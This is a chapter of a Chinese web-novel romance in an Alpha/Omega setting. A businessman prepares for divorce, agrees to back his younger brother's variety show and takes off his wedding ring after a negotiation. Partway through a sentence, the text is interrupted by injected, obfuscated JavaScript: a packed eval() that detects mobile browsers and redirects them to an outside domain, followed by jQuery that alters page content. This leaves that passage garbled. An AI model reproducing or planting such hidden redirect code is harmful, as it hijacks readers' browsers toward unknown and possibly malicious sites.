—今日逢花:“江先生,这是今天的花。”
八点一到,消息准时送到江暄手机上。
江暄点开图片,单玫瑰的颜色就有六七种,花朵或大或小,每一株都蕴着清晨的水雾,细腻光滑。绽开的花朵经过人工筛选,每一株的花瓣展平通透,花枝昂扬,毫无颓势,争相展示最美的盛开。
正是盛放的花朵,即便不为送花人,也能为这些绮丽的花朵惊艳三分。
是江暄提前预订的鲜花。
既然今天的已经准备好,就没有再收回去的理由。
—J:“黄玫瑰吧。”
没怎么费时间就选出今日的幸运花朵。
—J:“钱不用退,以后不要再送了。”
对面花店看起来不止一次处理过这种事情,没有多余询问,几分钟后,他们发来剩下的退款。
—今日逢花:“江先生,年费太多,我们算了一下,把剩下的退给您。”
大概花店也没想到,这位一见面就让人心生好感的Alpha会在三年后突然暂停这项活动。
他们费了些时间进行结算。
倒是个诚信的生意人,江暄暗叹两声将钱收下。
送花这事算是结束,他又想起另一件事。
暖白的手指点开聊天软件中的某个头像。
—J:“袖扣进展如何?”
—玛媞雰私人定制:“再有两天我给您送去,不会耽误您的结婚纪念日的。”
江暄手指微顿。
大概90天前,他得了块上好的翡翠,个头不大,成色极佳。
还没过手就直接送到定制处打成袖扣,多出五万的加急费要求他们在结婚纪念日之前打出来。
当初那副火急火燎的模样,也没想到三个月过去,袖扣制成,他们却已经决定要离婚了。
你帮我直接出售吧——江暄犹豫着还是将这行字从对话框中删除。
—J:“好。”
毕竟送过去那块翡翠时,他还怀着能和裴槐青有数不尽未来的憧憬。
看来他们的未来只有90天。
江暄自嘲着试图让自己开心起来,嘴角却仿佛缀着两块秤砣,完全抬不动。
他躺在沙发上闭目养神,竟然已经完全回忆不起,三个月前还觉得能和裴槐青走进爱情的自己,是什么模样。
离婚的决定,江暄谁也没告诉。
即便是最好的朋友。
他不知道该从何谈起,连他自己也不知道,自己此刻离婚的决定,究竟是他真的打算放下,还是想要通过这种方式获得关注。
用离开的方式获得注意力——
握在文件夹上的手指攥紧,两秒后,才继续把壳子完全掀开。
他分明知道,是不会成功的。
不算明亮的办公室内,垂头的人罩在窗帘厚厚的阴影中,远看仿佛凝成雕塑。
许久,僵化的躯体才有了松动。
他收拾好纷杂的情绪,重新投入工作。
“……对,没错,那我们见面详谈……”
左肩夹住话筒抵在肩膀,江暄微微抬手,袖口压在手腕,示意门口的秘书稍等。
放下听筒后,他才起身拉开办公室门,垂眼看向门口等待的秘书,“怎么了?”
“江总,您弟弟来了。”
握着门把手的手指松开,江暄从门后彻底走出来,往会客间的方向走,“在会客间吗?”
秘书点头。
一路往会客间走,江暄脑海中不停思索着弟弟来找自己是有什么事。
应该没什么答应对方但忘记的事情。
还没等他推开会客厅的门,自外向内打开的门口露出一颗玫红色的头。
江暄克制着将视线从形似火龙果的头发上移开。
江觅率先出声:“哥!”
猛地一个大熊抱扑进他怀里。
炮仗似的Omega份量不容小觑,江暄后撤半步才将身形稳住。
他放下仓促间扶着墙面的手,将怀里的反常的火龙果揪出来,“怎么了?”
江觅一双圆瞳睁得亮晶晶的,他眼睛眨啊眨,语调拖长,拿出江暄最熟悉的撒娇鬼模样,“我有个想去的综艺,哥,你来当资方吧。”
综艺,江暄反应了一下,语气微微讶然:“爸妈允许你进娱乐圈了?”
怪不得头发染成这个样子。
配着江觅从小出众的脸蛋,怎么也不会难看。
就是颜色太扎眼了。
小看一会儿视网膜都被染红的江暄移开视线。
“综艺名称还有电视台信息我发你手机上了,哥拜托拜托,哥麻烦你啦~”火龙果腻在他身上摇个不停,淡淡的柑橘味随着腔调绕到江暄身上。
是江觅的信息素味道。
避而不答,江觅的惯用伎俩。
江暄没敢第一时间答应。摸着还在他腰间耍赖的弟弟,他点开父母的聊天框。
等待回复的间隙,他忽然问道:“你怎么不去找姐要投资?”
身为长女,江清懿才是真正执掌江家集团的存在。
江家虽然不是有着百年千年的老牌家族,靠在曾祖父辈的慧眼如珠和乘势而上,在这鱼龙混杂的北江也算是闯出一片天地来。后代青出于蓝而胜于蓝,江家现在算是介乎新钱和老钱之间的存在。
作为老二的江暄,主要负责子公司的合作项目,虽然有很大的决定权却也受控于江清懿。
如此安排,也是江家父母的保险政策。一旦发生意外出现集团群龙无首的情况,他们希望江暄能够顺利且稳妥地成功辅助。
“懿姐才不会答应呢……”嘟嘟囔囔低着头,江暄一时间没听清,“什么?”
“我说我喜欢哥,才来找哥帮忙的。哥干什么要让我去找懿姐?”
其实是因为江暄答应的概率大才来的。
笑得天真无邪,好似真如他说的一般,江觅只是因为喜欢才这么选的。
掐着他哥的腰晃个不停,臂弯中西服马甲被纂出一截收腰效果。
江觅晃晃悠悠眯起眼睛。
他哥抱起来手感真好,出自同源的信息素,让江觅很容易分出哥哥抑制剂贴下控制极好的信息素味道。
微甜的桃子味湿润润扇着翅膀扑簌簌萦绕怀中,江觅正趁机会埋着头猛吸,头顶落下一个淡淡的“好”字。
“真的?不许骗人!”江觅也不吸人了,仰着头高兴得不得了。
就知道他哥会答应他!
天底下最好的人就是他哥!
几次确认得到满意的答复之后,江觅拿起扔在桌子上的墨镜蹦蹦跳跳往外走,还不忘催促,“哥记得赶快!”
叽叽喳喳的声音离开了,腰间的温度却还未散去,江暄在原地站了会儿,手心传来两声震动。
他低头查看,立在重归于静的会客间中央。
“——江总?”
“嗯?”
秘书探身进门,面上有几分着急,“我看您弟弟走了才过来敲门的,未来科技的孙总已经等在会议室了。”
江暄立马抬起步子,他收起手心的手机,颔首越过秘书往会议室的方向走,“抱歉,一时忘记了。”
路间不忘整理刚刚被江觅拽乱的衣摆,将综艺名称传达给身边的秘书。
“这两天查给我就行。”他吩咐道。
会议室门推开的瞬间,唇角勾出恰到好处的歉意笑容。
落在会议桌上的玻璃杯,杯影印在红木之上,模糊的杯影头从偏西转向偏东。
不知第几次抿水,对面的孙总才微微妥协让步。
“行吧,这是看在你的面子上,江总可不要让我失望。”
好似在这场没有硝烟的唇枪舌剑中吃亏许多,一副肉疼的模样。
铁公鸡
江暄嗅到口腔中尚未好全的喉咙泛起的血腥味,承下对方的话站起身送人,面上笑得官方。
谈判中面无表情的脸顿生柔情。
差异太大
临门一脚的孙总停住,盯着江暄的脸,又上下打量。
身高很可以,身形微微偏瘦,但胜在肩颈比例好,头窄又小,整个人站着和模特
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310080|182881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似的,气质出众。
在老一辈眼里,总觉得这代孩子偏瘦。但架不住,他家里孩子喜欢瘦瘦高高的。
孙忠望隐约记起江暄是个优性Alpha,他又想起年轻人席间看似有来有回实则寸步不让的态度,心中虽留着被砍一刀的肉疼,但不妨碍他见识到年轻人工作上的雷厉风行。
没有半分犹豫,老父亲开口说亲,“小江啊,有对象了吗?”
能看出江暄面上有些意外,他很快收敛神情,抬起垂在身侧的手。
左手无名指亮着珀金的素圈。
“已经结婚了。”
对这种情景,江暄已经见怪不怪,面上多出几分恰到好处的抱歉。
“哎呦”
孙忠望一阵可惜,有略感尴尬,试图开着玩笑结束这段对话,“才结婚?我在国外待得久,也没有机会送个新婚礼物。”
话口都已经开了,孙忠望只能顺水推舟:“这最近我抽空再给你补一个。”
贤婿没招到还要赔进去一件礼物。
面前穿着工整的青年微微摇头,笑着拒绝,“结婚三年了,当时办得小,不麻烦孙总补礼物了。”
“三年,你小子好藏,我竟然一点风声没听说。”
“下次聚会可记得把人带来看看。”
这可比新婚冒犯多了,孙忠望没再多说,脚底抹油,任由秘书引着离开。
眼看着两人都消失在视线中,江暄脸上的表情慢慢落下来,提起的唇角拉平。
他低头摸着左手无名指上的戒指,忽然间用力拔了下来。
没什么花哨的雕刻和浮纹,很普通的素戒。
Pt950的戒指,内圈刻着两个字母,“J&P”
选中的戒指设计师自觉一点用武之地都没有,定制时大费口舌推荐内圈的字母雕刻。
“刻句拉丁语、法语都很受欢迎,意大利语也不少人选,或者试着加个‘love’?”
江暄否决了所有提案。
他不敢胡乱猜测裴槐青的喜好,也不敢把自己的私心加在要送人的礼物上。
于是这枚素朴的、完全看不出任何特点的戒指裹在戒指盒中交到他们手上。
司仪说“请新人交换爱的信物”
他提前准备的戒指得见天光。
他们在双方亲人的见证下交换戒指。
冰凉的戒指推到指根的瞬间,江暄还是没忍住抿唇轻笑。
他忘记了害怕裴槐青会不会不喜欢,在尚不熟悉的异物感中,他终于确定自己和裴槐青结婚了。
盒子中的另外一枚戒指,他取出来,帮裴槐青轻轻戴上。
掌声持续三秒,转过头,在只坐满前两排的礼堂中完成整个仪式。
撸在手心的戒指压进掌纹。
江暄一直觉得这件事是他愧对裴槐青。
当时的江觅正值感染期间,江家父母本意是把江觅留在医院观察,避免交叉感染加重病况,但江觅执意要去婚礼。
“我一定要参加我哥的婚礼——”
江觅跨着脸坐在医院病床上闹,拽着父母的衣服使出浑身解数。
这才有了这场小婚礼。
“爸和妈实在是怕,怕万一再感染什么病,小觅经不起折腾,暄你也知道小觅以前病重什么样……”
江暄在父母的歉疚中点头,“小觅是我弟弟,我不会让他有危险的。”
他取消了外国场地和团队的预定。
在没有任何外来宾客,甚至连踏进门的人都需要全面消毒的偏僻礼堂中和裴槐青结婚。
裴槐青对此没有任何意见,他沉默地接受一切决定。
江暄却愧疚地在裴家父母面前抬不起头。
婚礼是个很好的社交活动。
在婚礼宴会上,达成合作的项目数不胜数。
既是社交场,也是一场宣告,宣告两人婚姻关系的确立。
江暄却什么也没给。
江暄捏着手里的戒指,额前落下一缕发丝,不知在端详什么,走回办公室时,空落落的指根只留下一圈戒痕。